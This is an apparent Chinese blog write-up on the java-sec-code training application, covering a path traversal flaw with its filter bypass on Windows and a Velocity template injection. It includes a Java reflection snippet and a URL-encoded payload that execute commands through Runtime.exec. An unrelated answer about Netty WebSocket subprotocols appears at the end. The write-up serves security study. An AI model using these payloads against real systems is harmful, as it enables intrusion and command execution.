java-sec-code 目录穿越和模板注入漏洞

目录穿越漏洞

虽然漏洞的payload非常简单,但是java的编程方法还是值得一看的。

漏洞分析

进入controller下的PathTraversal类下,可以看到如下代码。

    @GetMapping("/path_traversal/vul")
    public String getImage(String filepath) throws IOException {
        return getImgBase64(filepath);
    }

这是漏洞的产生点,传入的参数filepath没有经过任何处理就传入了getImgBase64函数中。

在这里插入图片描述

进入getImgBase64函数中查看

    private String getImgBase64(String imgFile) throws IOException {

        logger.info("Working directory: " + System.getProperty("user.dir"));
        logger.info("File path: " + imgFile);

        File f = new File(imgFile);
        if (f.exists() && !f.isDirectory()) {
            byte[] data = Files.readAllBytes(Paths.get(imgFile));
            return new String(Base64.encodeBase64(data));
        } else {
            return "File doesn't exist or is not a file.";
        }
    }

这里的logger是slf4j 日志对象,定义如下

protected final Logger logger = LoggerFactory.getLogger(this.getClass());

Logger.info会将相关的信息打印到spring控制台上

在这里插入图片描述

Files.readAllBytes()会从文件中读取所有字节。

Paths.get()会将路径字符串或连接时形成路径字符串的字符串序列转换为路径。

在这里插入图片描述

最后文件内容,会以base64形式返回。

漏洞修复

此类漏洞还是通过过滤字符串的方式进行修复的

    public String getImage(String filepath) throws IOException {
        if (SecurityUtil.pathFilter(filepath) == null) {
            logger.info("Illegal file path: " + filepath);
            return "Bad boy. Illegal file path.";
        }
        return getImgBase64(filepath);
    }

跟进pathFilter函数,可以看到是作者定义的拦截器的功能,代码如下

在这里插入图片描述

如果存在url编码,那么该函数会进行url解码。同时,处理后的数据会和参与下面的过滤,如果里面存在…和/字符则会直接返回。

但是这个过滤也存在一定的问题,在windows下,第一个字符往往不是/,所以如果部署在windows,还是可以绕过的。

访问http://localhost:8080/path_traversal/sec?filepath=D:/test.txt,可以看到依旧读取了文件。

这里的再添加其他过滤规则即可。

模板注入漏洞

该代码使用的是Velocity来进行渲染模板,Velocity是一个基于java的模板引擎。

修复方式也已经说明了,就是不使用这个模板引擎来渲染模板。

漏洞分析
    @GetMapping("/velocity")
    public void velocity(String template) {
        Velocity.init();		//初始化Velocity

        VelocityContext context = new VelocityContext();	//创建一个存放Velocity内容的对象

        context.put("author", "Elliot A.");
        context.put("address", "217 E Broadway");
        context.put("phone", "555-1337");

        StringWriter swOut = new StringWriter();	//创建一个StringWrite对象,在字符串缓冲区中收集输出的字符流。
        Velocity.evaluate(context, swOut, "test", template);	
    }

当用户可以指定模板时,也就是evaluate中模板可控,可造成rce。通过设置一个字符串,然后通过获取字符串的类去寻找Runtime类,再去寻找getRuntime反射方法达到命令执行。

通过反射进行命令执行的一个例子

public class test_class {
    public static void main(String[] args) throws Exception{
        String e = "e";
        e.getClass().forName("java.lang.Runtime").getMethod("exec",String.class).invoke(
                String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(
                        String.class.getClass().forName("java.lang.Runtime")
                ),new String[]{"calc"}
        );
    }
}

使用如下payload即可

http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)
相关工具
https://github.com/epinna/tplmap

该工具对一些常见的ssti漏洞,都有效。也可以自己编写payload,实现绕过过滤。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Netty是一个基于Java的异步事件驱动的网络应用框架,它提供了一系列易于使用的API,用于创建高性能、可扩展的网络服务器和客户端应用程序。 WebSocket是一种在单个TCP连接上进行全双工通信的协议,它允许服务器主动向客户端推送数据,而不需要客户端先发起请求。在Java中,Netty提供了对WebSocket的支持,可以通过Netty来实现WebSocket服务器和客户端。 当使用Netty实现WebSocket时,Sec-WebSocket-Protocol是WebSocket握手过程中的一个HTTP头部字段,它用于指定客户端和服务器之间通信所使用的子协议。子协议是在WebSocket连接建立后,用于在双方之间传输数据的协议。 在Netty中,可以通过设置`WebSocketServerProtocolHandler`的`subprotocols`属性来指定支持的子协议。例如,可以使用以下代码来设置子协议为"chat": ```java ChannelPipeline pipeline = channel.pipeline(); pipeline.addLast(new HttpServerCodec()); pipeline.addLast(new HttpObjectAggregator(65536)); pipeline.addLast(new WebSocketServerCompressionHandler()); pipeline.addLast(new WebSocketServerProtocolHandler("/websocket", "chat")); pipeline.addLast(new MyWebSocketHandler()); ``` 在上面的代码中,`WebSocketServerProtocolHandler`的第二个参数就是Sec-WebSocket-Protocol的值,这里设置为"chat"。这样,当客户端与服务器进行握手时,可以指定"chat"作为子协议,在连接建立后双方就可以使用该子协议来进行通信。 希望这个回答对你有帮助!如果你还有其他问题,请继续提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值